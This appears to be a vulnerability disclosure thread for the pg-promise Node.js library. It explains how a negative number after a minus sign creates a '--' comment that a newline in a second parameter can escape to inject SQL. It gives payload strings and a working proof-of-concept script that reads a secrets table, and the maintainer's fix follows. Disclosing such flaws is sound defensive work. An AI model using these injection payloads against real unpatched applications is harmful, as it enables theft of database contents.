Vulnerability: SQL Injection via Line Comment Creation

[paul-gerste-sonarsource]

Affected Versions

Verified on 11.5.4.

Observations

Postgres supports two query modes:

1. Simple mode: A query that only consists of a simple query string
2. Extended mode: A parameterized query where the statement and the parameter values are sent separately, preventing SQL Injection on a fundamental level

When using the simple mode, libraries have to build SQL strings themselves for statements that involve dynamic values.

Since pgFormatting is enabled by default, pg-promise escapes parameter values before inserting them into a query string. We found a case in which the parameter escaping does not work correctly and allows users to alter the structure of the query, potentially leading to SQL Injection.

When a placeholder is directly preceded by a minus (-) and not separated by any whitespace, pg-promise does not handle the particular case when a negative number is inserted for the placeholder. This leads to two consecutive minus signs in the query, turning them into the start of a line comment:

# Parameterized query:
SELECT * FROM example WHERE result=-$1;

# Parameter value: -42

# Resulting query after preparation:
SELECT * FROM example WHERE result=--42;

# Resulting query with comments stripped:
SELECT * FROM example WHERE result=

In this example, the resulting query will cause a syntax error because of the missing value that the result column should be compared with.

Exploitation

To exploit this behavior and cause SQL Injection, the following conditions must be met by a parameterized query:

1. A placeholder for a numeric value must be immediately preceded by a minus (as described above).
2. There must be a second placeholder for a string value after the first placeholder; both must be on the same line.
3. Both parameter values must be user-controlled.

In this case, the incorrect sanitization will allow an attacker to create a line comment to alter the structure of the query. The attacker can then use Postgres' support of multi-line strings to escape from that line comment by using newline characters in the string:

# Parameterized query:
SELECT * FROM example WHERE result=-$1 OR name=$2;

# Parameter values:
# $1: -42
# $2: "foo\n 1 AND 1=0 UNION SELECT * FROM secrets; --"

# Resulting query after preparation:
SELECT * FROM example WHERE result=--42 OR name= 'foo
 1 AND 1=0 UNION SELECT * FROM secrets; --';

# Resulting query with comments stripped:
SELECT * FROM example WHERE result=
 1 AND 1=0 UNION SELECT * FROM secrets;

By constructing a matching string payload, the attacker can inject SQL to alter the query, bypassing the protections that parameterized queries bring against SQL Injection attacks.

Here's proof-of-concept snippet:

const pgp = require('pg-promise')({});

(async () => {
  const db = pgp({
      host: 'postgres',
      user: 'postgres',
      password: 'postgres',
  });
  
  await db.any('CREATE TABLE IF NOT EXISTS pg_promise_example (result INT, name TEXT)');
  await db.any('CREATE TABLE IF NOT EXISTS pg_promise_secrets (secret TEXT)');
  await db.any('INSERT INTO pg_promise_secrets VALUES ($1)', ['super_secret_123']);
  
  const attackerControlled1 = -1;
  const attackerControlled2 = 'foo\n 1 AND 1=0 UNION SELECT 1337, secret FROM pg_promise_secrets; --';
  
  const r = await db.any('SELECT * FROM pg_promise_example WHERE result=-$1 OR name=$2;', [attackerControlled1, attackerControlled2]);
  console.log('Result:', r[0]);
  // Result: { result: 1337, name: 'super_secret_123' }
  
  db.$pool.end();
})();

Impact

The vulnerability allows the execution of arbitrary SQL statements on behalf of the application. Postgres supports stacked queries by default, so attackers can inject arbitrary SQL statements and are not tied to the structure of the query they inject into. If stacked queries are disabled, attackers are limited to injecting into the query. However, SQL's flexibility still allows them to extract any data from the database in most cases.

The final impact depends on the application using pg-promise in a vulnerable way, what data they store in the Postgres database, and if an attacker can control the required values of a vulnerable query. On the library level, the vulnerability breaks the assumption of developers who use parameterized queries to protect their applications against SQL Injections.

Recommendations

We recommend breaking up the -- pattern in a way that does not break the rest of a statement. Other Postgres client libraries do this by inserting a space before negative numbers (- -1) or wrapping negative numbers in parentheses (-(-1)). Some libraries only do this if a minus immediately precedes a negative integer; others always do it.

Credits

Please credit this finding to: Paul Gerste (Sonar)

[vitaly-t]

This has been addressed in v11.5.5 patch.

Every negative number is now wrapped in parentheses.

Thank you @paul-gerste-sonarsource for the find!

The Fix:

pg-promise/lib/formatting.js

Line 888 in 1a4dfe6

return num < 0 ? `(${s})` : s;

[vitaly-t]

Closing, as this discussion has been concluded.